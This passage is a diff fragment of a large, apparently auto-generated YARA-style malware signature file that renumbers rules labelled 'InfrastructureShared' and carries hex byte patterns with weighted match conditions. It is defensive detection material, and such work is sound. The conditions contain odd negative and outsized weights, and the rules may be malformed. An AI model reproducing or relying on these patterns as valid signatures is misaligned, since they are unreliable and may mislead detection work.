1)*101+(#a_00_10 & 1)*80+(#a_2d_11 & 1)*275+(#a_6e_12 & 1)*26996) >=13 } -rule _InfrastructureShared_20207{ +rule _InfrastructureShared_21427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 1d 00 21 " @@ -255570,7 +270811,7 @@ rule _InfrastructureShared_20207{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*107+(#a_00_4 & 1)*97+(#a_00_6 & 1)*115+(#a_2d_7 & 1)*11602+(#a_72_8 & 1)*25701+(#a_00_9 & 1)*103+(#a_00_10 & 1)*114+(#a_00_12 & 1)*115+(#a_20_13 & 1)*12333+(#a_69_14 & 1)*257+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_d2_23 & 1)*0+(#a_45_24 & 1)*13874+(#a_44_25 & 1)*12868+(#a_39_26 & 1)*13379+(#a_42_27 & 1)*17989+(#a_33_28 & 1)*12336) >=19 } -rule _InfrastructureShared_20208{ +rule _InfrastructureShared_21428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -255588,7 +270829,7 @@ rule _InfrastructureShared_20208{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26400+(#a_6e_2 & 1)*25376+(#a_76_3 & 1)*26883+(#a_74_4 & 1)*29285+(#a_66_5 & 1)*656+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1) >=1 } -rule _InfrastructureShared_20209{ +rule _InfrastructureShared_21429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 13 00 21 " @@ -255616,7 +270857,7 @@ rule _InfrastructureShared_20209{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*17976+(#a_36_2 & 1)*17975+(#a_31_3 & 1)*17464+(#a_45_4 & 1)*17712+(#a_31_5 & 1)*17476+(#a_44_6 & 1)*14662+(#a_01_7 & 1)*3+(#a_01_8 & 1)*3+(#a_01_9 & 1)*3+(#a_01_10 & 1)*3+(#a_01_11 & 1)*3+(#a_01_12 & 1)*2+(#a_01_13 & 1)*2+(#a_01_14 & 1)*2+(#a_01_15 & 1)*2+(#a_d3_16 & 1)*0+(#a_5f_17 & 1)*20801+(#a_52_18 & 1)*29521) >=6 } -rule _InfrastructureShared_20210{ +rule _InfrastructureShared_21430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -255640,7 +270881,7 @@ rule _InfrastructureShared_20210{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28486+(#a_65_2 & 1)*28257+(#a_6d_3 & 1)*18177+(#a_65_4 & 1)*24903+(#a_65_5 & 1)*24942+(#a_51_6 & 1)*18021+(#a_00_7 & 1)*25955+(#a_00_8 & 1)*84+(#a_72_9 & 1)*25710+(#a_41_10 & 1)*11568+(#a_2d_11 & 1)*23085+(#a_00_13 & 1)*111+(#a_7a_14 & 1)*24922+(#a_90_15 & 1)*11617) >=16 } -rule _InfrastructureShared_20211{ +rule _InfrastructureShared_21431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -255656,7 +270897,7 @@ rule _InfrastructureShared_20211{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*41+(#a_00_2 & 1)*114+(#a_2d_3 & 1)*23085+(#a_00_4 & 1)*116+(#a_2d_5 & 1)*2305+(#a_00_6 & 1)*83) >=8 } -rule _InfrastructureShared_20212{ +rule _InfrastructureShared_21432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffa5 00 ffffffa5 00 1b 00 21 " @@ -255686,7 +270927,7 @@ rule _InfrastructureShared_20212{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28518+(#a_74_2 & 1)*29301+(#a_34_3 & 1)*12590+(#a_2e_4 & 1)*11830+(#a_34_5 & 1)*12590+(#a_2e_6 & 1)*13621+(#a_01_7 & 1)*13614+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_d5_13 & 1)*0+(#a_00_14 & 1)*66+(#a_00_16 & 1)*69+(#a_00_18 & 1)*69+(#a_35_20 & 1)*10240+(#a_00_22 & 1)*52+(#a_00_24 & 1)*56+(#a_00_26 & 1)*54) >=165 } -rule _InfrastructureShared_20213{ +rule _InfrastructureShared_21433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 13 00 21 " @@ -255708,7 +270949,7 @@ rule _InfrastructureShared_20213{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26465+(#a_00_3 & 1)*50+(#a_00_4 & 1)*65+(#a_00_6 & 1)*56+(#a_00_8 & 1)*111+(#a_00_9 & 1)*56+(#a_00_11 & 1)*105+(#a_00_12 & 1)*53+(#a_00_14 & 1)*54+(#a_4d_16 & 1)*19752+(#a_01_17 & 1)*19756+(#a_4d_18 & 1)*19760) >=6 } -rule _InfrastructureShared_20214{ +rule _InfrastructureShared_21434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0e 00 21 " @@ -255730,7 +270971,7 @@ rule _InfrastructureShared_20214{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*19767+(#a_26_2 & 1)*12109+(#a_00_3 & 1)*0+(#a_00_4 & 1)*9530+(#a_00_5 & 1)*111+(#a_00_6 & 1)*0+(#a_66_7 & 1)*-14461+(#a_fc_8 & 1)*-29708+(#a_00_9 & 1)*112+(#a_00_10 & 1)*78+(#a_2c_12 & 1)*93+(#a_90_13 & 1)*11617) >=2 } -rule _InfrastructureShared_20215{ +rule _InfrastructureShared_21435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -255745,7 +270986,7 @@ rule _InfrastructureShared_20215{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*65+(#a_61_3 & 1)*11585+(#a_00_4 & 1)*111+(#a_2c_5 & 1)*2+(#a_00_6 & 1)*108) >=1 } -rule _InfrastructureShared_20216{ +rule _InfrastructureShared_21436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -255769,7 +271010,7 @@ rule _InfrastructureShared_20216{ ((#a_6f_0 & 1)*21539+(#a_6e_1 & 1)*9984+(#a_5c_2 & 1)*400+(#a_01_3 & 1)*28161+(#a_90_4 & 1)*257+(#a_01_5 & 1)*23553+(#a_90_6 & 1)*257+(#a_01_7 & 1)*-28561+(#a_73_8 & 1)*400+(#a_01_9 & 1)*29185+(#a_00_10 & 1)*97+(#a_00_11 & 1)*116+(#a_00_12 & 1)*112+(#a_00_13 & 1)*61+(#a_00_15 & 1)*58) >=1 } -rule _InfrastructureShared_20217{ +rule _InfrastructureShared_21437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -255783,7 +271024,7 @@ rule _InfrastructureShared_20217{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_00_3 & 1)*116+(#a_00_4 & 1)*105+(#a_00_6 & 1)*47) >=7 } -rule _InfrastructureShared_20218{ +rule _InfrastructureShared_21438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 09 00 21 " @@ -255799,7 +271040,7 @@ rule _InfrastructureShared_20218{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*118+(#a_00_4 & 1)*105+(#a_00_5 & 1)*90+(#a_50_6 & 1)*4352+(#a_74_7 & 1)*30052+(#a_00_8 & 1)*104) >=14 } -rule _InfrastructureShared_20219{ +rule _InfrastructureShared_21439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 11 00 21 " @@ -255824,7 +271065,7 @@ rule _InfrastructureShared_20219{ ((#a_54_0 & 1)*18467+(#a_2d_2 & 1)*5640+(#a_65_3 & 1)*384+(#a_69_4 & 1)*19821+(#a_41_5 & 1)*29014+(#a_34_6 & 1)*30054+(#a_01_7 & 1)*25927+(#a_33_8 & 1)*26967+(#a_6f_9 & 1)*27507+(#a_56_10 & 1)*2816+(#a_79_11 & 1)*29268+(#a_64_12 & 1)*3328+(#a_74_13 & 1)*28005+(#a_65_14 & 1)*23621+(#a_41_15 & 1)*21574+(#a_44_16 & 1)*17473) >=16 } -rule _InfrastructureShared_20220{ +rule _InfrastructureShared_21440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,46 00 46 00 1c 00 21 " @@ -255855,7 +271096,7 @@ rule _InfrastructureShared_20220{ ((#a_77_0 & 1)*16675+(#a_73_1 & 1)*18798+(#a_65_2 & 1)*25902+(#a_72_3 & 1)*28271+(#a_46_4 & 1)*21249+(#a_5c_5 & 1)*21057+(#a_47_6 & 1)*21084+(#a_32_7 & 1)*16697+(#a_68_8 & 1)*30309+(#a_00_10 & 1)*32+(#a_00_12 & 1)*104+(#a_20_13 & 1)*8241+(#a_10_14 & 1)*-28672+(#a_00_15 & 1)*43+(#a_00_16 & 1)*116+(#a_00_19 & 1)*62+(#a_02_21 & 1)*36+(#a_20_22 & 1)*10027+(#a_64_23 & 1)*28524+(#a_00_25 & 1)*105+(#a_01_26 & 1)*2+(#a_01_27 & 1)*2) >=70 } -rule _InfrastructureShared_20221{ +rule _InfrastructureShared_21441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 07 00 21 " @@ -255869,7 +271110,7 @@ rule _InfrastructureShared_20221{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_74_2 & 1)*11636+(#a_00_3 & 1)*32+(#a_00_5 & 1)*116) >=101 } -rule _InfrastructureShared_20222{ +rule _InfrastructureShared_21442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 10 00 21 " @@ -255891,7 +271132,7 @@ rule _InfrastructureShared_20222{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30052+(#a_00_2 & 1)*105+(#a_00_3 & 1)*122+(#a_00_4 & 1)*69+(#a_00_6 & 1)*108+(#a_00_7 & 1)*122+(#a_6f_8 & 1)*25449+(#a_6c_9 & 1)*25436+(#a_6e_10 & 1)*28261+(#a_25_11 & 1)*29285+(#a_6e_12 & 1)*29810+(#a_65_13 & 1)*29532) >=4 } -rule _InfrastructureShared_20223{ +rule _InfrastructureShared_21443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -255913,7 +271154,7 @@ rule _InfrastructureShared_20223{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30300+(#a_63_2 & 1)*29301+(#a_50_3 & 1)*25701+(#a_69_4 & 1)*23667+(#a_5c_5 & 1)*-32472+(#a_6e_6 & 1)*28013+(#a_64_7 & 1)*30305+(#a_32_8 & 1)*14918+(#a_00_10 & 1)*98+(#a_2c_11 & 1)*2+(#a_00_12 & 1)*117+(#a_00_13 & 1)*112) >=14 } -rule _InfrastructureShared_20224{ +rule _InfrastructureShared_21444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -255926,7 +271167,7 @@ rule _InfrastructureShared_20224{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*39+(#a_2d_4 & 1)*2305+(#a_00_5 & 1)*32) >=1 } -rule _InfrastructureShared_20225{ +rule _InfrastructureShared_21445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 17 00 21 " @@ -255953,7 +271194,7 @@ rule _InfrastructureShared_20225{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26228+(#a_66_2 & 1)*25697+(#a_43_3 & 1)*23598+(#a_3d_4 & 1)*28793+(#a_52_5 & 1)*8960+(#a_64_6 & 1)*25939+(#a_6d_7 & 1)*17268+(#a_41_9 & 1)*8448+(#a_00_11 & 1)*78+(#a_00_13 & 1)*112+(#a_00_14 & 1)*82+(#a_6c_15 & 1)*26996+(#a_90_16 & 1)*21326+(#a_00_18 & 1)*32+(#a_50_19 & 1)*23296+(#a_01_21 & 1)*3584+(#a_73_22 & 1)*26212) >=4 } -rule _InfrastructureShared_20226{ +rule _InfrastructureShared_21446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -255971,7 +271212,7 @@ rule _InfrastructureShared_20226{ ((#a_70_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_4 & 1)*105+(#a_00_5 & 1)*97+(#a_00_6 & 1)*144+(#a_61_7 & 1)*21762+(#a_00_9 & 1)*48+(#a_58_10 & 1)*14848+(#a_53_11 & 1)*17255) >=2 } -rule _InfrastructureShared_20227{ +rule _InfrastructureShared_21447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -255999,7 +271240,7 @@ rule _InfrastructureShared_20227{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*30064+(#a_6f_2 & 1)*21249+(#a_6d_3 & 1)*17184+(#a_64_4 & 1)*25700+(#a_64_5 & 1)*29797+(#a_53_6 & 1)*-32481+(#a_73_7 & 1)*29810+(#a_6f_8 & 1)*24430+(#a_00_9 & 1)*114+(#a_00_10 & 1)*55+(#a_00_11 & 1)*31277+(#a_61_12 & 1)*281+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1) >=19 } -rule _InfrastructureShared_20228{ +rule _InfrastructureShared_21448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -256020,7 +271261,7 @@ rule _InfrastructureShared_20228{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27759+(#a_2c_2 & 1)*2+(#a_5a_3 & 1)*16762+(#a_20_4 & 1)*28521+(#a_6e_5 & 1)*26213+(#a_09_6 & 1)*11408+(#a_2d_7 & 1)*14637+(#a_03_8 & 1)*1+(#a_e3_9 & 1)*0+(#a_67_10 & 1)*23105+(#a_01_11 & 1)*1) >=3 } -rule _InfrastructureShared_20229{ +rule _InfrastructureShared_21449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 14 00 21 " @@ -256046,7 +271287,7 @@ rule _InfrastructureShared_20229{ ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*28520+(#a_4f_2 & 1)*25170+(#a_46_3 & 1)*19824+(#a_45_4 & 1)*20580+(#a_76_6 & 1)*20562+(#a_79_7 & 1)*28502+(#a_4c_8 & 1)*21325+(#a_6d_9 & 1)*28486+(#a_6d_10 & 1)*28518+(#a_6f_11 & 1)*25970+(#a_00_12 & 1)*29541+(#a_61_13 & 1)*20993+(#a_00_15 & 1)*80+(#a_00_17 & 1)*97+(#a_00_18 & 1)*113+(#a_00_19 & 1)*53) >=4 } -rule _InfrastructureShared_20230{ +rule _InfrastructureShared_21450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -256065,7 +271306,7 @@ rule _InfrastructureShared_20230{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29230+(#a_74_2 & 1)*25922+(#a_7a_3 & 1)*26960+(#a_74_4 & 1)*11851+(#a_00_6 & 1)*110+(#a_00_8 & 1)*112+(#a_00_10 & 1)*2+(#a_65_11 & 1)*29806+(#a_00_13 & 1)*54) >=15 } -rule _InfrastructureShared_20231{ +rule _InfrastructureShared_21451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 1a 00 21 " @@ -256099,7 +271340,7 @@ rule _InfrastructureShared_20231{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_81_18 & 1)*1+(#a_81_19 & 1)*1+(#a_81_20 & 1)*1+(#a_81_21 & 1)*1+(#a_81_22 & 1)*1+(#a_81_23 & 1)*1+(#a_81_24 & 1)*1+(#a_81_25 & 1)*1) >=26 } -rule _InfrastructureShared_20232{ +rule _InfrastructureShared_21452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -256120,7 +271361,7 @@ rule _InfrastructureShared_20232{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*6032+(#a_45_2 & 1)*16961+(#a_24_3 & 1)*-9981+(#a_01_4 & 1)*1815+(#a_01_5 & 1)*257+(#a_5c_6 & 1)*23129+(#a_02_7 & 1)*-3036+(#a_07_8 & 1)*-28623+(#a_1e_9 & 1)*-28428+(#a_0a_10 & 1)*-28668+(#a_01_11 & 1)*263) >=1 } -rule _InfrastructureShared_20233{ +rule _InfrastructureShared_21453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 1e 00 21 " @@ -256157,7 +271398,7 @@ rule _InfrastructureShared_20233{ ((#a_54_0 & 1)*18467+(#a_10_1 & 1)*5888+(#a_09_2 & 1)*29440+(#a_10_4 & 1)*5888+(#a_09_5 & 1)*29441+(#a_5d_6 & 1)*400+(#a_8b_7 & 1)*3328+(#a_8b_8 & 1)*25995+(#a_10_9 & 1)*-29951+(#a_03_10 & 1)*1+(#a_01_11 & 1)*1+(#a_03_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_e6_19 & 1)*0+(#a_74_20 & 1)*28233+(#a_72_21 & 1)*29298+(#a_54_23 & 1)*28494+(#a_00_24 & 1)*10+(#a_6c_25 & 1)*16641+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1) >=1 } -rule _InfrastructureShared_20234{ +rule _InfrastructureShared_21454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 19 00 21 " @@ -256188,7 +271429,7 @@ rule _InfrastructureShared_20234{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*28448+(#a_6e_2 & 1)*18035+(#a_6f_3 & 1)*29285+(#a_69_4 & 1)*24937+(#a_43_5 & 1)*10496+(#a_74_6 & 1)*29797+(#a_30_7 & 1)*13361+(#a_65_8 & 1)*18806+(#a_6e_9 & 1)*22330+(#a_00_10 & 1)*69+(#a_00_11 & 1)*114+(#a_00_12 & 1)*77+(#a_00_14 & 1)*112+(#a_00_16 & 1)*100+(#a_62_17 & 1)*28718+(#a_00_18 & 1)*6+(#a_72_19 & 1)*14918+(#a_00_20 & 1)*110+(#a_00_21 & 1)*111+(#a_00_22 & 1)*102+(#a_00_24 & 1)*108) >=10 } -rule _InfrastructureShared_20235{ +rule _InfrastructureShared_21455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 0a 00 21 " @@ -256205,7 +271446,7 @@ rule _InfrastructureShared_20235{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*102+(#a_00_3 & 1)*97+(#a_00_5 & 1)*110+(#a_00_6 & 1)*67+(#a_00_7 & 1)*97+(#a_72_8 & 1)*30273+(#a_61_9 & 1)*28530) >=40 } -rule _InfrastructureShared_20236{ +rule _InfrastructureShared_21456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -256219,7 +271460,7 @@ rule _InfrastructureShared_20236{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*98+(#a_00_4 & 1)*114+(#a_00_6 & 1)*105+(#a_00_8 & 1)*48) >=6 } -rule _InfrastructureShared_20237{ +rule _InfrastructureShared_21457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0d 00 21 " @@ -256238,7 +271479,7 @@ rule _InfrastructureShared_20237{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*11898+(#a_00_3 & 1)*114+(#a_90_4 & 1)*27748+(#a_5a_5 & 1)*16762+(#a_41_6 & 1)*11617+(#a_2d_7 & 1)*2305+(#a_25_8 & 1)*8275+(#a_41_10 & 1)*8448+(#a_34_11 & 1)*25964) >=8 } -rule _InfrastructureShared_20238{ +rule _InfrastructureShared_21458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -256253,7 +271494,7 @@ rule _InfrastructureShared_20238{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_00_2 & 1)*35+(#a_2c_4 & 1)*69+(#a_00_6 & 1)*105+(#a_00_7 & 1)*100) >=9 } -rule _InfrastructureShared_20239{ +rule _InfrastructureShared_21459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -256275,7 +271516,7 @@ rule _InfrastructureShared_20239{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*20572+(#a_53_2 & 1)*9984+(#a_72_3 & 1)*30580+(#a_5c_4 & 1)*29285+(#a_64_5 & 1)*25964+(#a_61_6 & 1)*21038+(#a_67_7 & 1)*16732+(#a_5f_8 & 1)*29281+(#a_2d_9 & 1)*31277+(#a_6e_11 & 1)*28484+(#a_90_12 & 1)*11568+(#a_41_13 & 1)*11617) >=14 } -rule _InfrastructureShared_20240{ +rule _InfrastructureShared_21460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -256293,7 +271534,7 @@ rule _InfrastructureShared_20240{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_41_3 & 1)*11617+(#a_65_4 & 1)*25376+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_e9_9 & 1)*0) >=3 } -rule _InfrastructureShared_20241{ +rule _InfrastructureShared_21461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 25 00 21 " @@ -256338,7 +271579,7 @@ rule _InfrastructureShared_20241{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25958+(#a_62_2 & 1)*27222+(#a_5f_3 & 1)*28522+(#a_74_4 & 1)*25959+(#a_40_5 & 1)*26978+(#a_65_6 & 1)*27747+(#a_52_7 & 1)*21320+(#a_00_8 & 1)*29295+(#a_65_9 & 1)*384+(#a_59_10 & 1)*18242+(#a_42_11 & 1)*25672+(#a_6c_12 & 1)*22886+(#a_54_13 & 1)*28225+(#a_70_14 & 1)*22104+(#a_49_15 & 1)*22115+(#a_41_16 & 1)*16719+(#a_61_17 & 1)*29810+(#a_90_18 & 1)*17774+(#a_90_19 & 1)*-30392+(#a_01_20 & 1)*17803+(#a_01_21 & 1)*-28555+(#a_48_22 & 1)*400+(#a_90_23 & 1)*-30392+(#a_00_25 & 1)*-18111+(#a_ba_26 & 1)*13125+(#a_6e_27 & 1)*29810+(#a_01_28 & 1)*16498+(#a_3f_29 & 1)*278+(#a_61_30 & 1)*17238+(#a_38_31 & 1)*25967+(#a_6d_32 & 1)*28265+(#a_40_33 & 1)*30572+(#a_3f_34 & 1)*270+(#a_2e_35 & 1)*27756+(#a_74_36 & 1)*23652) >=10 } -rule _InfrastructureShared_20242{ +rule _InfrastructureShared_21462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -256358,7 +271599,7 @@ rule _InfrastructureShared_20242{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29298+(#a_42_2 & 1)*22343+(#a_55_3 & 1)*23106+(#a_5a_4 & 1)*16744+(#a_73_5 & 1)*20277+(#a_41_6 & 1)*21761+(#a_59_7 & 1)*16711+(#a_3a_9 & 1)*19521+(#a_09_10 & 1)*6544+(#a_2d_11 & 1)*31277) >=12 } -rule _InfrastructureShared_20243{ +rule _InfrastructureShared_21463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -256373,7 +271614,7 @@ rule _InfrastructureShared_20243{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_6c_3 & 1)*30020+(#a_00_4 & 1)*185+(#a_44_5 & 1)*18436+(#a_85_6 & 1)*18436) >=7 } -rule _InfrastructureShared_20244{ +rule _InfrastructureShared_21464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 23 00 21 " @@ -256417,7 +271658,7 @@ rule _InfrastructureShared_20244{ ((#a_77_0 & 1)*16675+(#a_65_1 & 1)*26956+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_ee_28 & 1)*0+(#a_2e_29 & 1)*11822+(#a_6e_30 & 1)*30556+(#a_70_31 & 1)*25458+(#a_72_32 & 1)*23598+(#a_74_33 & 1)*28532+(#a_31_34 & 1)*12337) >=2 } -rule _InfrastructureShared_20245{ +rule _InfrastructureShared_21465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2b 00 2b 00 0d 00 21 " @@ -256438,7 +271679,7 @@ rule _InfrastructureShared_20245{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*23667+(#a_5c_3 & 1)*17153+(#a_5c_4 & 1)*25709+(#a_63_5 & 1)*29532+(#a_2e_6 & 1)*13925+(#a_77_7 & 1)*10094+(#a_5b_8 & 1)*29281+(#a_31_9 & 1)*12593+(#a_38_10 & 1)*11319+(#a_35_11 & 1)*11316+(#a_34_12 & 1)*11315) >=43 } -rule _InfrastructureShared_20246{ +rule _InfrastructureShared_21466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -256456,7 +271697,7 @@ rule _InfrastructureShared_20246{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_00_2 & 1)*101+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_ef_8 & 1)*0) >=9 } -rule _InfrastructureShared_20247{ +rule _InfrastructureShared_21467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -256477,7 +271718,7 @@ rule _InfrastructureShared_20247{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*25976+(#a_61_2 & 1)*13357+(#a_69_3 & 1)*17773+(#a_6d_4 & 1)*24878+(#a_61_5 & 1)*21355+(#a_75_6 & 1)*29541+(#a_01_7 & 1)*12288+(#a_00_9 & 1)*110+(#a_00_11 & 1)*123+(#a_00_12 & 1)*310+(#a_00_14 & 1)*76) >=15 } -rule _InfrastructureShared_20248{ +rule _InfrastructureShared_21468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -256489,15 +271730,44 @@ rule _InfrastructureShared_20248{ $a_00_6 = {01 00 30 01 43 00 68 00 61 00 6e 00 6e 00 65 00 6c 00 20 00 69 00 73 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 6f 00 70 00 65 00 6e 00 2e 00 01 00 1c 01 5c 00 5c 00 73 00 65 00 72 00 76 00 65 00 72 00 5c 00 73 00 68 00 61 00 72 00 65 00 01 00 49 01 7b 20 50 72 6f 70 20 3d 20 7b 50 72 6f 70 7d 2c 20 53 74 61 74 75 73 43 6f 64 65 20 3d 20 7b 53 74 61 74 75 73 } //48 $a_65_7 = {2c 20 44 65 73 63 72 69 70 74 69 6f 6e 20 3d 20 7b 44 65 73 63 72 69 70 74 69 6f 6e 7d 20 7d 01 00 28 01 6b 00 65 00 79 00 62 00 6f 00 61 00 72 00 64 00 2d 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 01 00 28 